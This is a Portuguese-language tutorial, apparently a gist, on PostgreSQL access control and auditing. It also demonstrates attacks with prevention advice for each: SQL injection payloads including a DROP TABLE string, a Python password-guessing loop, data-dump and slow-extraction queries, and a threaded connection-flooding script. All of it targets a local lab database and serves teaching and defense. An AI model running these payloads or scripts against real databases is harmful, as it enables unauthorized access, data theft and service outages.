Exemplos Práticos de Controle de Acesso no PostgreSQL

Exemplos práticos em PostgreSQL para ilustrar como implementar autenticação, autorização e separação de privilégios em um banco novo com usuários, grupos (roles) e permissões específicas.

🔑 1. Criação de um Banco e Usuários

-- Criar um novo banco de dados
CREATE DATABASE empresa_segura;

-- Criar usuário administrativo (com todas permissões)
CREATE ROLE admin_user LOGIN PASSWORD 'SenhaForte!@123' SUPERUSER;

-- Criar usuário de aplicação (sem superpoderes)
CREATE ROLE app_user LOGIN PASSWORD 'SenhaApp!123';

-- Criar usuário somente leitura
CREATE ROLE leitor_user LOGIN PASSWORD 'SenhaLeitor!123';

👥 2. Criação de Roles (Grupos) para Princípio do Menor Privilégio

-- Role para usuários com acesso somente de leitura
CREATE ROLE role_leitura;

-- Role para usuários com acesso de escrita (insert/update/delete)
CREATE ROLE role_escrita;

-- Conceder roles aos usuários
GRANT role_leitura TO leitor_user;
GRANT role_escrita TO app_user;

📊 3. Permissões em Tabelas

Suponha que criamos uma tabela de clientes:

-- Conectar no banco "empresa_segura"
\c empresa_segura

-- Criar tabela exemplo
CREATE TABLE clientes (
    id SERIAL PRIMARY KEY,
    nome VARCHAR(100),
    email VARCHAR(100),
    saldo DECIMAL
);

Aplicando as permissões:

-- Revogar permissões padrão
REVOKE ALL ON clientes FROM PUBLIC;

-- Conceder apenas SELECT para o grupo de leitura
GRANT SELECT ON clientes TO role_leitura;

-- Conceder SELECT, INSERT e UPDATE para o grupo de escrita
GRANT SELECT, INSERT, UPDATE ON clientes TO role_escrita;

🛠️ 4. Separação de Privilégios

Exemplo para permitir apenas INSERT sem UPDATE:

-- Role só para inserção
CREATE ROLE role_insercao;

-- Role só para atualização
CREATE ROLE role_atualizacao;

-- Permissões específicas
GRANT INSERT ON clientes TO role_insercao;
GRANT UPDATE ON clientes TO role_atualizacao;

-- Associar essas roles a usuários conforme necessário
GRANT role_insercao TO app_user;

📂 5. Permissões em Esquemas e Tabelas Específicas

Se houver mais esquemas além do public, podemos restringir acessos:

-- Criar um novo esquema
CREATE SCHEMA financeiro AUTHORIZATION admin_user;

-- Criar tabela dentro do esquema
CREATE TABLE financeiro.transacoes (
    id SERIAL PRIMARY KEY,
    cliente_id INT,
    valor DECIMAL,
    data TIMESTAMP DEFAULT now()
);

-- Garantir que apenas app_user possa escrever
GRANT SELECT, INSERT, UPDATE ON financeiro.transacoes TO app_user;

-- Garantir que leitor_user só possa visualizar
GRANT SELECT ON financeiro.transacoes TO leitor_user;

✅ Resumo das Boas Práticas

Autenticação → usar senhas fortes e, no nível da aplicação, preferir MFA/certificados.
Autorização → uso de roles (grupos) com permissões mínimas necessárias.
Separação de privilégios → distinguir usuários administrativos (DBAs), de aplicação (escrita) e de consulta (somente leitura).
Revogar permissões padrão (REVOKE ALL FROM PUBLIC) e conceder apenas explicitamente.

Auditoria no PostgreSQL com Triggers

Este documento mostra como implementar uma tabela de auditoria em PostgreSQL utilizando triggers para registrar operações de INSERT, UPDATE e DELETE.

📋 1. Criar a Tabela de Auditoria

CREATE TABLE auditoria_logs (
    id SERIAL PRIMARY KEY,
    tabela TEXT NOT NULL,
    operacao TEXT NOT NULL,
    usuario_db TEXT NOT NULL,
    data_operacao TIMESTAMP DEFAULT now(),
    chave_registro TEXT,
    valores_antigos JSONB,
    valores_novos JSONB
);

tabela → Nome da tabela auditada.
operacao → Tipo de ação (INSERT, UPDATE, DELETE).
usuario_db → Quem executou a ação.
chave_registro → PK ou identificador do registro.
valores_antigos → Dados antes da alteração.
valores_novos → Dados após a alteração.

⚙️ 2. Criar a Função de Trigger

CREATE OR REPLACE FUNCTION fn_auditoria()
RETURNS TRIGGER AS $$
BEGIN
    IF TG_OP = 'INSERT' THEN
        INSERT INTO auditoria_logs (tabela, operacao, usuario_db, chave_registro, valores_novos)
        VALUES (TG_TABLE_NAME, TG_OP, SESSION_USER, NEW.id::TEXT, row_to_json(NEW)::jsonb);

        RETURN NEW;

    ELSIF TG_OP = 'UPDATE' THEN
        INSERT INTO auditoria_logs (tabela, operacao, usuario_db, chave_registro, valores_antigos, valores_novos)
        VALUES (TG_TABLE_NAME, TG_OP, SESSION_USER, NEW.id::TEXT, row_to_json(OLD)::jsonb, row_to_json(NEW)::jsonb);

        RETURN NEW;

    ELSIF TG_OP = 'DELETE' THEN
        INSERT INTO auditoria_logs (tabela, operacao, usuario_db, chave_registro, valores_antigos)
        VALUES (TG_TABLE_NAME, TG_OP, SESSION_USER, OLD.id::TEXT, row_to_json(OLD)::jsonb);

        RETURN OLD;
    END IF;

    RETURN NULL;
END;
$$ LANGUAGE plpgsql;

🔗 3. Criar Trigger na Tabela Auditada

Supondo que queremos auditar a tabela clientes:

CREATE TRIGGER trg_auditoria_clientes
AFTER INSERT OR UPDATE OR DELETE ON clientes
FOR EACH ROW
EXECUTE FUNCTION fn_auditoria();

🧪 4. Testando a Auditoria

-- Inserindo cliente
INSERT INTO clientes (nome, email, saldo)
VALUES ('João Silva', '[email protected]', 100.00);

-- Atualizando cliente
UPDATE clientes SET saldo = 200.00 WHERE id = 1;

-- Excluindo cliente
DELETE FROM clientes WHERE id = 1;

-- Consultando logs
SELECT * FROM auditoria_logs;

📊 5. Exemplo de Saída da Auditoria

id	tabela	operacao	usuario_db	data_operacao	chave_registro	valores_antigos	valores_novos
1	clientes	INSERT	app_user	2025-08-21 10:00	1	NULL	{"id":1,"nome":"João Silva","email":"[email protected]","saldo":100.00}
2	clientes	UPDATE	app_user	2025-08-21 10:05	1	{"id":1,"saldo":100.00}	{"id":1,"saldo":200.00}
3	clientes	DELETE	app_user	2025-08-21 10:10	1	{"id":1,"saldo":200.00}	NULL

✅ Resumo das Boas Práticas

Criar tabela de logs separada para auditoria.
Armazenar dados antigos e novos para rastreabilidade.
Usar SESSION_USER para saber quem fez a operação.
Centralizar auditoria em uma única função para reuso.

💉 Exemplo Completo de SQL Injection no PostgreSQL

Este documento demonstra como ocorre uma injeção de SQL (SQL Injection), os riscos envolvidos e como prevenir, incluindo um exemplo prático em Python + PostgreSQL.

1. Cenário Vulnerável

Suponha que temos uma tabela de usuários:

CREATE TABLE usuarios (
    id SERIAL PRIMARY KEY,
    username VARCHAR(50) UNIQUE NOT NULL,
    senha VARCHAR(100) NOT NULL
);

-- Inserindo dados de exemplo
INSERT INTO usuarios (username, senha) VALUES ('admin', 'senha123');
INSERT INTO usuarios (username, senha) VALUES ('joao', '123456');

E no código da aplicação temos algo assim:

-- Código inseguro que concatena input do usuário
query = "SELECT * FROM usuarios WHERE username = '" + input_user + "' AND senha = '" + input_pass + "'";

⚠️ Aqui está o problema → o input do usuário é concatenado direto na query.

2. Ataque com SQL Injection

Um atacante coloca no campo de senha a string:

' OR '1'='1

A query montada pela aplicação vira:

SELECT * FROM usuarios WHERE username = 'admin' AND senha = '' OR '1'='1';

O trecho OR '1'='1' sempre será verdadeiro, retornando todos os usuários, permitindo login sem senha.

3. Consequências

Além de bypass no login, o atacante pode executar comandos perigosos:

Listar todas as tabelas:

' UNION SELECT table_name, null FROM information_schema.tables --

Deletar dados (exemplo extremo):

'; DROP TABLE usuarios; --

Se o app rodar com permissões altas, a tabela pode ser apagada.

4. Prevenção

✅ Usar Queries Parametrizadas

Exemplo em Node.js com pg (PostgreSQL client):

const query = "SELECT * FROM usuarios WHERE username = $1 AND senha = $2";
const values = [input_user, input_pass];
const result = await client.query(query, values);

✅ Usar ORM Seguro

Exemplo com Sequelize (Node.js):

const user = await Usuario.findOne({
  where: { username: input_user, senha: input_pass }
});

✅ Princípio do Menor Privilégio

Usuário da aplicação no DB não deve ter DROP, CREATE ou ALTER.
Somente SELECT, INSERT e UPDATE no que for necessário.

🐍 5. Exemplo em Python + PostgreSQL

5.1 Preparação no PostgreSQL

CREATE TABLE usuarios (
    id SERIAL PRIMARY KEY,
    username VARCHAR(50) UNIQUE NOT NULL,
    senha VARCHAR(100) NOT NULL
);

INSERT INTO usuarios (username, senha) VALUES ('admin', 'senha123');
INSERT INTO usuarios (username, senha) VALUES ('joao', '123456');

5.2 Código Python Vulnerável (SQL Injection)

import psycopg2

# Conexão local ao PostgreSQL
conn = psycopg2.connect(
    dbname="empresa_segura",
    user="postgres",
    password="postgres",
    host="localhost",
    port="5432"
)
cur = conn.cursor()

# Simulando inputs do usuário
input_user = "admin"
input_pass = "' OR '1'='1"  # ataque SQL Injection

# CÓDIGO VULNERÁVEL (concatenação direta)
query = f"SELECT * FROM usuarios WHERE username = '{input_user}' AND senha = '{input_pass}'"
print("Executando query insegura:", query)
cur.execute(query)

rows = cur.fetchall()
print("Resultado da query insegura:", rows)

cur.close()
conn.close()

🔎 Resultado esperado
Mesmo sem saber a senha, o atacante consegue logar como admin porque o OR '1'='1' sempre é verdadeiro.

5.3 Código Python Seguro (Parametrizado)

import psycopg2

conn = psycopg2.connect(
    dbname="empresa_segura",
    user="postgres",
    password="postgres",
    host="localhost",
    port="5432"
)
cur = conn.cursor()

# Inputs normais do usuário
input_user = "admin"
input_pass = "' OR '1'='1"  # tentativa de ataque

# CÓDIGO SEGURO (parametrizado)
query = "SELECT * FROM usuarios WHERE username = %s AND senha = %s"
cur.execute(query, (input_user, input_pass))

rows = cur.fetchall()
print("Resultado da query segura:", rows)

cur.close()
conn.close()

🔎 Resultado esperado
A query não retorna nada, pois o PostgreSQL interpreta "' OR '1'='1" apenas como string, não como código SQL.

✅ Conclusão

O código vulnerável permite login sem senha (SQL Injection).
O código seguro parametrizado bloqueia o ataque.

📌 Resumo das Boas Práticas

Nunca concatenar strings vindas de input em queries.
Sempre usar queries parametrizadas ($1, ?, :param).
Usar ORM ou query builders seguros.
Restringir permissões do usuário do banco.
Auditar logs para detectar injeções suspeitas.

🔓 Exemplo de Ataque de Força Bruta em PostgreSQL

Este documento mostra como ocorre um ataque de força bruta contra o PostgreSQL, exemplos de exploração e formas de prevenção.

1. O que é

Um ataque de força bruta acontece quando um script tenta milhares de combinações de usuário/senha até encontrar a correta e acessar o banco.

No PostgreSQL, isso ocorre normalmente na conexão inicial (psql, psycopg2, etc.), antes mesmo de rodar queries.

2. Exemplo de Script Malicioso (Python)

import psycopg2

# Lista de senhas que o atacante tenta (dicionário simples)
senhas_testadas = ["1234", "admin", "postgres", "senha123", "senhaForte!@123"]

for senha in senhas_testadas:
    try:
        conn = psycopg2.connect(
            dbname="empresa_segura",
            user="postgres",
            password=senha,
            host="localhost",
            port="5432"
        )
        print(f"[+] Sucesso! Senha encontrada: {senha}")
        conn.close()
        break
    except Exception as e:
        print(f"[-] Falha com senha: {senha}")

🔎 Esse script vai tentando várias senhas até encontrar a correta (postgres/senhaForte!@123).

3. Consequências

Se a senha for fraca (1234, admin, senha123), o atacante consegue acesso facilmente.
Uma vez dentro, pode exfiltrar dados ou executar DDL maliciosa.

4. Prevenção

✅ Políticas de Senha no PostgreSQL

O PostgreSQL sozinho não tem política de senha nativa, mas é possível usar a extensão passwordcheck:

-- Ativar a extensão
CREATE EXTENSION IF NOT EXISTS passwordcheck;

-- Criar usuário com senha fraca (vai falhar)
CREATE ROLE teste LOGIN PASSWORD '1234';

-- Criar usuário com senha forte (vai aceitar)
CREATE ROLE seguro LOGIN PASSWORD 'SenhaForte!@123';

✅ Bloqueio de Contas (via ferramenta externa)

O PostgreSQL não bloqueia automaticamente após falhas, mas você pode usar:
- Fail2Ban → monitora os logs (pg_log) e bloqueia IPs com muitas falhas de login.
- Firewall/Nginx → limitar número de tentativas por minuto.

Exemplo de regex Fail2Ban para PostgreSQL:

[Definition]
failregex = FATAL:  password authentication failed for user ".*" .*host=<HOST>

✅ Multi-Factor Authentication (MFA)

Usar MFA no nível da aplicação (não direto no PostgreSQL).
Exemplo: login no app → autenticação + token OTP → só então conexão ao banco.

✅ Restrições de Conexão

No arquivo pg_hba.conf, restringir:

IPs que podem conectar.
Autenticação apenas com métodos seguros (scram-sha-256).

Exemplo:

# Permitir apenas rede interna com SCRAM
host    empresa_segura    all    192.168.1.0/24    scram-sha-256

✅ Resumo

Ataque de Força Bruta → automatiza tentativas de senha até acertar.
Prevenção:
- Senhas fortes (com passwordcheck).
- Bloqueio de IPs com Fail2Ban.
- MFA no nível da aplicação.
- Restrições de IP no pg_hba.conf.

📤 Exemplo de Data Exfiltration em PostgreSQL

Este documento mostra como ocorre a exfiltração de dados em bancos PostgreSQL, exemplos práticos de exploração e medidas de prevenção.

1. Cenário

Suponha uma tabela com dados sensíveis:

CREATE TABLE clientes (
    id SERIAL PRIMARY KEY,
    nome VARCHAR(100),
    email VARCHAR(100),
    cpf VARCHAR(11),
    saldo DECIMAL
);

-- Inserindo dados fictícios
INSERT INTO clientes (nome, email, cpf, saldo)
VALUES
('João Silva', '[email protected]', '12345678901', 5000),
('Maria Souza', '[email protected]', '98765432100', 2000),
('Carlos Lima', '[email protected]', '45678912345', 7500);

2. Exfiltração Simples (via SELECT)

Um usuário com permissão de leitura pode tentar:

-- Exportar todos os registros
SELECT * FROM clientes;

E gravar em CSV/arquivo:

\COPY (SELECT * FROM clientes) TO '/tmp/dump_clientes.csv' CSV HEADER;

🔎 Agora ele tem todos os dados sensíveis em um arquivo externo.

3. Exfiltração Avançada (Evasão via UNION)

Um atacante pode usar UNION para exfiltrar tabelas do catálogo:

SELECT id, nome, email, cpf, saldo FROM clientes
UNION
SELECT null, table_name, null, null, null
FROM information_schema.tables;

Isso devolve dados misturados com nomes de tabelas, ajudando o invasor a mapear o banco.

4. Exfiltração em Pequenas Partes (para evitar detecção)

Um atacante pode limitar e extrair devagar para não gerar alertas:

-- Extrair apenas 10 linhas por vez
SELECT * FROM clientes LIMIT 10 OFFSET 0;
SELECT * FROM clientes LIMIT 10 OFFSET 10;

🛡️ Prevenção de Data Exfiltration

✅ Data Loss Prevention (DLP)

Implementar ferramentas que inspecionam queries e bloqueiam exportações suspeitas.
Exemplo: impedir \COPY, COPY TO, UNION em usuários comuns.

✅ Limites de Consultas

Configurar row-level security (RLS) para que cada usuário só veja seus próprios dados:

ALTER TABLE clientes ENABLE ROW LEVEL SECURITY;

CREATE POLICY cliente_policy ON clientes
USING (current_user = nome);

Evitar que usuários internos possam fazer SELECT * sem filtros.

✅ Monitoramento de Volume de Dados

Monitorar queries grandes com pg_stat_statements:

SELECT query, calls, total_exec_time, rows
FROM pg_stat_statements
WHERE rows > 10000
ORDER BY rows DESC;

Configurar alertas (Prometheus, SIEM) se um usuário consulta/baixa mais registros que o normal.

✅ Princípio do Menor Privilégio

Usuários de aplicação devem ter apenas acesso ao que precisam.
Ex.: app de relatórios → apenas SELECT em views com dados agregados, não na tabela bruta.

✅ Resumo

Data Exfiltration = extração massiva de dados sensíveis.
Exemplo prático: SELECT + COPY para CSV ou consultas fragmentadas.
Prevenção:
- DLP para inspecionar queries.
- RLS e limites de consultas.
- Monitoramento com pg_stat_statements.
- Privilégios mínimos para usuários internos/externos.

🛑 Exemplo de Denial of Service (DoS/DDoS) em PostgreSQL

Este documento mostra como ocorre um ataque de negação de serviço (DoS/DDoS) contra o PostgreSQL, exemplos práticos de exploração e medidas de prevenção.

1. Cenário

Um atacante ou mesmo um usuário interno mal-intencionado pode enviar queries pesadas ou requisições em massa, consumindo CPU, memória e conexões até derrubar o banco.

2. Exemplo de Query Maliciosa (DoS por Query Pesada)

Suponha uma tabela com muitos registros:

CREATE TABLE transacoes (
    id SERIAL PRIMARY KEY,
    cliente_id INT,
    valor DECIMAL,
    data TIMESTAMP
);

-- Inserir 1 milhão de registros para simulação
INSERT INTO transacoes (cliente_id, valor, data)
SELECT (random()*1000)::int, (random()*1000)::numeric, now() - (random() * interval '365 days')
FROM generate_series(1, 1000000);

Um atacante executa uma query ineficiente:

-- Query maliciosa sem índice
SELECT * FROM transacoes WHERE valor::TEXT LIKE '%999%';

🔎 O PostgreSQL terá que fazer full scan em milhões de linhas, consumindo muitos recursos.

3. Exemplo de DoS por Requisições Massivas (DDoS)

Um script externo pode abrir várias conexões simultâneas:

import psycopg2
import threading

def ataque():
    while True:
        try:
            conn = psycopg2.connect(
                dbname="empresa_segura",
                user="postgres",
                password="postgres",
                host="localhost",
                port="5432"
            )
            cur = conn.cursor()
            cur.execute("SELECT pg_sleep(5);")  # mantém conexão ocupada
        except:
            pass

# Disparar 50 threads simultâneas
for _ in range(50):
    t = threading.Thread(target=ataque)
    t.start()

🔎 Isso cria muitas conexões bloqueadas, esgotando os recursos do banco.

🛡️ Prevenção de DoS/DDoS

✅ Índices bem estruturados

Criar índices para evitar full table scans:

CREATE INDEX idx_transacoes_valor ON transacoes(valor);

✅ Limitar Conexões por Usuário

No postgresql.conf ou com ALTER ROLE:

ALTER ROLE app_user CONNECTION LIMIT 5;

🔒 Impede que um único usuário crie conexões em excesso.

✅ Timeouts e Cancelamento de Queries Pesadas

-- Limite de tempo para execução de queries (ex.: 5 segundos)
SET statement_timeout = '5s';

✅ Rate Limiting e Balanceadores

Colocar Proxy/Pooler (PgBouncer, HAProxy, Nginx) na frente do PostgreSQL.
Limitar número de requisições por segundo por IP.

✅ Monitoramento

Usar pg_stat_activity para detectar queries pesadas:

SELECT pid, usename, state, query, now() - query_start AS tempo_execucao
FROM pg_stat_activity
WHERE state = 'active'
ORDER BY tempo_execucao DESC;

Integrar com Prometheus + Grafana para alertas.

✅ Resumo

DoS/DDoS no PostgreSQL = saturação por queries pesadas ou conexões massivas.
Exemplo prático: LIKE '%999%' em tabela gigante, ou múltiplos pg_sleep() mantendo conexões.
Prevenção: índices, CONNECTION LIMIT, statement_timeout, rate limiting com proxies e monitoramento ativo.

nunesfb/pratica_bd_sw.md

Exemplos Práticos de Controle de Acesso no PostgreSQL

🔑 1. Criação de um Banco e Usuários

👥 2. Criação de Roles (Grupos) para Princípio do Menor Privilégio

📊 3. Permissões em Tabelas

🛠️ 4. Separação de Privilégios

📂 5. Permissões em Esquemas e Tabelas Específicas

✅ Resumo das Boas Práticas

Auditoria no PostgreSQL com Triggers

📋 1. Criar a Tabela de Auditoria

⚙️ 2. Criar a Função de Trigger

🔗 3. Criar Trigger na Tabela Auditada

🧪 4. Testando a Auditoria

📊 5. Exemplo de Saída da Auditoria

✅ Resumo das Boas Práticas

💉 Exemplo Completo de SQL Injection no PostgreSQL

1. Cenário Vulnerável

2. Ataque com SQL Injection

3. Consequências

4. Prevenção

✅ Usar Queries Parametrizadas

✅ Usar ORM Seguro

✅ Princípio do Menor Privilégio

🐍 5. Exemplo em Python + PostgreSQL

5.1 Preparação no PostgreSQL

5.2 Código Python Vulnerável (SQL Injection)

5.3 Código Python Seguro (Parametrizado)

✅ Conclusão

📌 Resumo das Boas Práticas

🔓 Exemplo de Ataque de Força Bruta em PostgreSQL

1. O que é

2. Exemplo de Script Malicioso (Python)

3. Consequências

4. Prevenção

✅ Políticas de Senha no PostgreSQL

✅ Bloqueio de Contas (via ferramenta externa)

✅ Multi-Factor Authentication (MFA)

✅ Restrições de Conexão

✅ Resumo

📤 Exemplo de Data Exfiltration em PostgreSQL

1. Cenário

2. Exfiltração Simples (via SELECT)

3. Exfiltração Avançada (Evasão via UNION)

4. Exfiltração em Pequenas Partes (para evitar detecção)

🛡️ Prevenção de Data Exfiltration

✅ Data Loss Prevention (DLP)

✅ Limites de Consultas

✅ Monitoramento de Volume de Dados

✅ Princípio do Menor Privilégio

✅ Resumo

🛑 Exemplo de Denial of Service (DoS/DDoS) em PostgreSQL

1. Cenário

2. Exemplo de Query Maliciosa (DoS por Query Pesada)

3. Exemplo de DoS por Requisições Massivas (DDoS)

🛡️ Prevenção de DoS/DDoS

✅ Índices bem estruturados

✅ Limitar Conexões por Usuário

✅ Timeouts e Cancelamento de Queries Pesadas

✅ Rate Limiting e Balanceadores

✅ Monitoramento

✅ Resumo